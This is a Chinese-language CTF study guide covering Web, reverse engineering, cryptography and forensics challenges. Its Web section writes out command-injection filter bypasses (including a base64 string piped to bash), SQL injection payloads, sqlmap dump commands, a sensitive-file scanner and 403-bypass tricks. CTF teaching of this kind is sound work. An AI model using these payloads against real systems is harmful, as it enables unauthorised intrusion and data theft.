简介:这是一份面向CTF入门与进阶选手的题型梳理文档,围绕网络安全竞赛中常见的Web、密码学、逆向、PWN与杂项五大方向,系统整理了解题思路与关键知识点。内容涵盖基础爆破、SQL注入与报错注入、文件上传与包含、代码审计,以及替换与置换密码、Base64等编码、RSA非对称加密、散列函数,并延伸至脱壳反编译、栈溢出与格式化字符串、隐写术与流量日志分析等实战要点。资源包内含1个docx文档,约18KB,体量轻便,适合作为赛前速查与知识框架搭建的参考笔记。目前已有2057人学习下载,读者可借此快速建立CTF题型全景认知,对照各方向要点查漏补缺,理解常见漏洞的触发条件与利用路径,为刷题和复盘提供清晰的索引。
1. CTF常见题型全景:从一道签到题到完整夺旗链路
很多人第一次打开 CTF 题目页面时,看到的是一个输入框、一张图片或者一段乱码,完全不知道从哪里下手。这不是能力问题,而是缺少一张「题型地图」。CTF 夺旗赛的题目看似千变万化,但落到解题层面,绝大多数都能归入 Web 渗透、逆向工程、密码学、杂项取证、Pwn 二进制利用这几大类。每一类的入口信号、常用工具链和解题节奏都不一样,用错方向就会在一条死路上耗掉几个小时。
这篇文章面向的是刚接触 CTF 想系统入门的人,以及打过几场比赛但解题全靠碰运气、想建立稳定方法论的选手。我会按题型拆开讲:每类题怎么识别、用什么工具、参数怎么设、常见的坑在哪。中间会给出可直接复现的命令和脚本,也会说清楚哪些操作在比赛环境里能用、哪些会翻车。读完你至少能做到:拿到一道题,先判断它属于哪类,再按对应流程推进,而不是对着屏幕发呆。
2. Web 题:从源码泄露到命令执行递进
2.1 Web 题的入口信号与信息收集顺序
Web 类题目在 CTF 中占比最高,也是新手最容易上手的类型。题目通常给一个 URL 或者一份源码包,flag 藏在数据库、文件系统或某个环境变量里。解题的核心思路是:先摸清目标的技术栈和暴露面,再找注入点或逻辑漏洞,最后读取 flag。
信息收集的顺序很关键。我一般按这个流程走:先看页面源码和响应头,确认服务器类型、框架版本、有没有注释泄露;再扫目录,找备份文件、配置文件、后台入口;然后测参数,看有没有 SQL 注入、文件包含、命令执行。这个顺序不能乱,跳过信息收集直接怼参数,大概率会漏掉最简单的入口。
# 第一步:查看响应头和页面基本信息 curl -I http://target-ip:port/ curl -s http://target-ip:port/ | head -100 # 第二步:目录扫描,找敏感文件 # 常见做法是用 dirsearch 或 gobuster gobuster dir -u http://target-ip:port/ -w /usr/share/wordlists/dirb/common.txt -x php,html,bak,zip,tar.gz # 第三步:检查常见泄露点 curl -s http://target-ip:port/robots.txt curl -s http://target-ip:port/.git/config curl -s http://target-ip:port/www.zip -o www.zip上面这段命令的逻辑是层层递进的。curl -I拿响应头,重点看Server、X-Powered-By、Set-Cookie这几个字段,能快速判断是 PHP 还是 Java 还是 Python 应用。gobuster扫目录时-x参数指定扩展名,bak 和 zip 是备份文件的高频后缀,很多题目会把源码打包放在根目录下忘了删。robots.txt和.git/config是经典泄露点,前者可能暴露隐藏路径,后者如果存在说明整个 Git 仓库可能可以拉下来。
参数方面,gobuster的线程数默认 10,比赛环境里可以调到 30 到 50 加速,但别超过 100,否则容易被 WAF 封 IP。字典选择上,common.txt大约 4600 条,适合快速扫一遍;如果没结果再换directory-list-2.3-medium.txt,但那个字典有 22 万条,扫完要很久,建议只在确认有隐藏目录时用。
2.2 命令执行与绕过:passthru 类题目的实战参数
命令执行是 Web 题里的高频考点。PHP 的system、exec、passthru、shell_exec这几个函数只要参数可控,就能直接执行系统命令。但出题人不会让你轻松执行cat /flag,通常会加过滤:禁用某些函数、过滤关键字、限制长度。
先看一个最基础的命令执行 payload:
<?php // 假设源码是这样的 $cmd = $_GET['cmd']; passthru($cmd); ?>这种情况下直接传?cmd=cat /flag就行。但实际题目里更常见的是加了过滤,比如:
<?php $cmd = $_GET['cmd']; if (preg_match('/cat|flag|system|exec/i', $cmd)) { die('no hack'); } passthru($cmd); ?>绕过思路有几种。第一种是命令拼接,用;、|、&&、||连接多条命令,只要有一条不含过滤词就能执行。第二种是变量拼接,比如a=fl;b=ag;cat $a$b。第三种是用通配符,cat /fla?或者cat /fl*。第四种是编码绕过,用$(printf '\x63\x61\x74')构造 cat。
# 变量拼接绕过关键字过滤 ?cmd=a=fl;b=ag;cat /$a$b # 通配符绕过 ?cmd=cat /fla? # 反斜杠绕过 ?cmd=cat /fl\ag # 内联执行绕过 ?cmd=echo Y2F0IC9mbGFn | base64 -d | bash这里要重点说passthru和system的区别。system会直接输出命令结果并返回最后一行的输出,passthru是原样输出二进制数据,适合执行会产生二进制输出的命令。exec只返回最后一行,shell_exec返回完整输出但需要 echo。很多新手用exec发现没回显,就是因为没有 echo 返回值。
注意:命令执行题里,如果目标没有回显,可以尝试写文件到 Web 目录再用浏览器访问,或者用 DNS 外带数据。但外带需要你有可控的域名或服务器,比赛环境里不一定允许。
2.3 SQL 注入的自动化与手工判断分界线
SQL 注入是 Web 题的另一大支柱。新手容易犯的错误是一上来就 sqlmap 梭哈,结果被 WAF 拦了或者跑半天没结果。我的习惯是:先手工判断注入类型和过滤规则,确认有注入点再用工具。
手工判断的步骤:先加单引号看报错,再试and 1=1和and 1=2看页面差异,然后判断是联合注入还是盲注。联合注入用order by猜列数,盲注用时间延迟或布尔条件。
-- 判断列数 ' order by 3 -- ' order by 4 -- -- 联合注入读数据 ' union select 1,2,database() -- ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -- 盲注布尔判断 ' and substr((select flag from flag),1,1)='f' --参数说明:order by后面的数字是列数,从 1 开始递增,直到页面报错说明列数就是前一个数字。group_concat把多行结果拼成一行,方便一次读出所有表名。盲注里substr的第二个参数是起始位置,第三个参数是长度,逐个字符猜。
sqlmap 的使用时机是在手工确认注入点之后,用--technique指定注入技术,--dbms指定数据库类型,--tamper指定绕过脚本。不要一上来就sqlmap -u url --batch,那样跑得慢还容易被封。
# 确认注入点后,用 sqlmap 加速 sqlmap -u "http://target/page?id=1" --dbms=mysql --technique=U --dump -T flag --batch # 如果有 WAF,加 tamper 脚本 sqlmap -u "http://target/page?id=1" --tamper=space2comment --batch--technique=U表示只用联合注入,速度最快。--dump -T flag直接导出 flag 表的数据。--tamper=space2comment把空格替换成注释,绕过简单的空格过滤。
3. 逆向与密码学:从静态分析到脚本解密
3.1 逆向题的工具选择与静态分析流程
逆向题给的是一个可执行文件或者一段字节码,flag 藏在程序的判断逻辑里。新手看到汇编就头大,但其实大部分 CTF 逆向题的逻辑并不复杂,用对工具能省很多时间。
工具选择上,Windows 平台用 IDA Free 或者 Ghidra,Linux 平台用 radare2 或者 objdump。Ghidra 是免费的,反编译效果也不错,适合入门。IDA 的 F5 反编译更成熟,但正版很贵,Free 版不支持 x64 反编译。
# 先用 file 看文件类型 file challenge # 如果是 ELF,用 strings 找可疑字符串 strings challenge | grep -i flag strings challenge | grep -i "correct\|wrong\|input" # 用 objdump 看反汇编 objdump -d challenge | head -200 # 用 radare2 分析 r2 -A challenge # 进入后输入 afl 列出函数,pdf @ main 查看主函数反汇编file命令确认文件架构,是 x86 还是 x64,是 ELF 还是 PE。strings是最快的突破口,很多题目的 flag 直接以明文形式存在二进制里,或者有提示性字符串。objdump -d反汇编整个文件,但输出很长,建议配合grep过滤关键函数。radare2 的-A参数表示自动分析,afl列出所有函数,pdf @ main反编译主函数。
如果字符串里没有直接线索,就需要看主函数的逻辑。常见模式是:程序读取输入,经过一系列变换,然后和硬编码的字符串比较。你需要逆向这个变换过程,写出对应的解密脚本。
3.2 密码学题的识别与脚本编写
密码学题通常给一段密文和加密脚本,或者只给密文让你猜加密方式。识别加密方式是第一步:看密文长度、字符集、是否有规律。
常见特征:Base64 结尾有=,字符集是 A-Za-z0-9+/;MD5 是 32 位十六进制;SHA1 是 40 位十六进制;RSA 会给公钥和密文;凯撒密码是字母偏移;维吉尼亚密码需要密钥。
# Base64 解码 import base64 cipher = "ZmxhZ3t0aGlzX2lzX2FfZmxhZ30=" print(base64.b64decode(cipher).decode()) # 凯撒密码暴力破解 def caesar_bruteforce(cipher): for shift in range(26): result = "" for char in cipher: if char.isalpha(): base = ord('a') if char.islower() else ord('A') result += chr((ord(char) - base - shift) % 26 + base) else: result += char print(f"shift={shift}: {result}") caesar_bruteforce("flag{this_is_a_flag}") # RSA 解密(已知 p, q, e, c) from Crypto.Util.number import inverse, long_to_bytes p = 0x1234 q = 0x5678 e = 65537 c = 0xabcdef n = p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) print(long_to_bytes(m))Base64 解码直接调库,注意补全=填充。凯撒密码暴力破解遍历 26 个偏移量,输出所有可能结果,人工找有意义的那个。RSA 解密需要知道 p 和 q,如果题目只给 n 和 e,就需要先分解 n,小 n 可以用 factordb 或者 yafu 分解,大 n 就需要找其他漏洞比如共模攻击、低加密指数攻击。
参数说明:inverse(e, phi)求 e 关于 phi 的模逆,即私钥 d。pow(c, d, n)是模幂运算,得到明文 m。long_to_bytes把整数转成字节串,再解码成字符串。
注意:密码学题里如果给了加密脚本,一定要先读懂脚本再动手。很多题目会在脚本里留后门或者用非常规参数,直接套公式会算错。
4. 杂项与取证:文件分析、隐写与流量包
4.1 文件类型识别与隐写提取
杂项题是 CTF 里最杂的一类,可能给一张图片、一个压缩包、一段流量包或者一个内存镜像。解题的关键是识别文件真实类型,然后找隐藏信息。
文件类型识别不能只看扩展名,要用file命令或者看文件头。常见的文件头:PNG 是89 50 4E 47,JPEG 是FF D8 FF,ZIP 是50 4B 03 04,PDF 是25 50 44 46。如果扩展名和文件头不一致,说明文件被改了后缀,改回来再打开。
# 查看文件真实类型 file suspicious.jpg # 查看文件头十六进制 xxd suspicious.jpg | head -5 # 图片隐写常用工具 # steghide 提取隐藏文件 steghide extract -sf image.jpg -p password # binwalk 分析固件或图片中的嵌入文件 binwalk -e image.png # zsteg 分析 PNG 的 LSB 隐写 zsteg image.png # exiftool 查看元数据 exiftool image.jpgfile命令输出会告诉你真实格式。xxd看十六进制,确认文件头。steghide需要密码,如果题目没给密码就试空密码或者常见弱密码。binwalk -e自动提取嵌入的文件,很多题目会把压缩包藏在图片末尾。zsteg专门检测 PNG 的 LSB 隐写,能直接读出隐藏的字符串。exiftool看 EXIF 元数据,有时候 flag 就写在注释或者作者字段里。
4.2 流量包分析与数据提取
流量包题给一个 pcap 或 pcapng 文件,flag 藏在网络通信数据里。用 Wireshark 打开,先看协议分层统计,再过滤关键协议。
# 用 tshark 命令行分析(Wireshark 的命令行版) # 查看协议统计 tshark -r capture.pcap -q -z io,phs # 过滤 HTTP 请求 tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri # 导出 HTTP 对象 tshark -r capture.pcap --export-objects http,output_dir # 过滤 DNS 查询 tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name-z io,phs输出协议分层统计,快速了解流量里有哪些协议。-Y是显示过滤器,语法和 Wireshark 一样。--export-objects把 HTTP 传输的文件全部导出来,图片、压缩包、可执行文件都能提取。DNS 查询过滤能发现数据外带,有些题目把 flag 编码在域名里逐个查询带出去。
参数说明:-r指定读取的文件,-T fields -e指定输出字段,适合批量提取。如果流量包很大,先用-Y过滤再分析,不要直接打开几 GB 的文件。
注意:流量包题里如果看到大量 DNS 查询或者 ICMP 包,优先怀疑数据外带。把查询名或 payload 提取出来,按顺序拼接,往往就是 flag。
5. 避坑与排查:CTF 解题中常见的五个翻车点
5.1 环境差异导致的命令失效
现象:在本地测试成功的命令,放到题目环境里执行没反应或者报错。
原因:题目环境可能是精简版 Linux,没有安装某些工具,或者 shell 类型不同(sh 和 bash 行为有差异),或者目标架构是 ARM 而本地是 x86。
解决:先执行id和uname -a确认权限和系统信息。命令用绝对路径,比如/bin/cat而不是cat。如果目标没有 bash,用sh -c包裹命令。架构不同就用交叉编译或者找对应架构的静态编译工具。
5.2 编码问题导致 payload 被截断
现象:构造的 payload 在本地能用,发送到目标后只执行了一部分。
原因:URL 编码、HTML 实体编码、Base64 编码混用,或者特殊字符被 WAF 拦截。
解决:用 Burp Suite 的 Repeater 模块逐字节检查请求,确认哪些字符被过滤。URL 编码用%xx格式,空格用%20或+。如果 WAF 拦截关键字,尝试大小写混合、双写、注释拼接。
5.3 逆向题反编译结果与源码逻辑不一致
现象:Ghidra 反编译出来的代码逻辑混乱,变量名都是local_xx,看不出原始逻辑。
原因:二进制被混淆过,或者编译器优化级别高,或者使用了不常见的调用约定。
解决:先看汇编,不要完全依赖反编译。关注函数调用和比较指令,cmp、test、jz、jnz这些是判断逻辑的核心。如果混淆严重,尝试用动态调试,在关键比较处下断点,看寄存器的实际值。
5.4 密码学题参数抄错导致解密失败
现象:按照题目给的参数写脚本,运行报错或者结果乱码。
原因:参数是十六进制但当成十进制用了,或者 p 和 q 的顺序搞反了,或者密文是 Base64 编码的需要先解码。
解决:确认所有参数的进制,十六进制加0x前缀。RSA 里 p 和 q 的顺序不影响 n,但计算 phi 时要用(p-1)*(q-1)。密文如果是一串 Base64 字符,先base64.b64decode再转整数。
5.5 杂项题文件提取不完整
现象:binwalk 提取出多个文件,但打开都报错或者不完整。
原因:文件被分片存储,或者提取偏移量不对,或者需要手动修复文件头。
解决:用binwalk -e提取后,检查每个文件的文件头是否正确。如果文件头损坏,用十六进制编辑器手动修复。分片文件需要按顺序拼接,用cat part1 part2 > full合并。压缩包如果加密,先尝试空密码和常见弱密码,再用fcrackzip暴力破解。
6. 进阶技巧:用脚本串联解题流程与验证结果
打到一定阶段后,你会发现很多题目的解题步骤是重复的:信息收集、漏洞利用、数据提取、解码。把这些步骤脚本化,能大幅提升效率。我一般会维护一个自己的工具脚本库,按题型分类,每场比赛前更新一遍。
以 Web 题为例,我写了一个自动化信息收集脚本,输入目标 URL,自动完成响应头检查、目录扫描、常见泄露点探测,输出一份报告。这样拿到题目后先跑一遍脚本,几分钟内就能摸清大致情况。
import requests import sys from concurrent.futures import ThreadPoolExecutor def check_path(base_url, path): url = f"{base_url.rstrip('/')}/{path.lstrip('/')}" try: r = requests.get(url, timeout=5, allow_redirects=False) if r.status_code in [200, 301, 302, 403]: return f"[{r.status_code}] {url} (len={len(r.content)})" except: pass return None def scan(base_url): # 常见敏感路径字典 paths = [ "robots.txt", ".git/config", "www.zip", "backup.zip", "admin/", "login.php", "config.php", "flag.php", "index.php.bak", ".env", "phpinfo.php", "test.php" ] results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(check_path, base_url, p) for p in paths] for f in futures: res = f.result() if res: results.append(res) return results if __name__ == "__main__": target = sys.argv[1] print(f"Scanning {target}...") for line in scan(target): print(line)这段脚本的逻辑很直接:维护一个常见敏感路径列表,用线程池并发请求,把返回状态码 200、301、302、403 的路径打印出来。allow_redirects=False是为了看到 302 跳转本身,有时候跳转目标就是后台入口。timeout=5防止某个请求卡死整个扫描。
参数调整:max_workers控制并发数,比赛环境里可以调到 20 到 30,但注意别把目标打挂。路径字典可以根据题目类型增删,比如 Java 题加WEB-INF/web.xml,Python 题加app.py、requirements.txt。
验证结果时,不要只看脚本输出就下结论。脚本报 200 的路径,手动访问确认一下内容,有些服务器对所有路径都返回 200 但内容是自定义 404 页面。脚本报 403 的路径,尝试用不同 User-Agent 或者加X-Forwarded-For头绕过。
我自己的习惯是:每道题做完后,把解题过程写成简短的笔记,记录用了什么工具、什么参数、卡在哪里、怎么解决的。积累几十道题之后,你会发现很多套路是重复的,下次遇到类似题目直接翻笔记就行。CTF 解题能力的提升,靠的不是天赋,而是这种笨功夫的积累。希望帮到你。
本文还有配套的精品资源,点击获取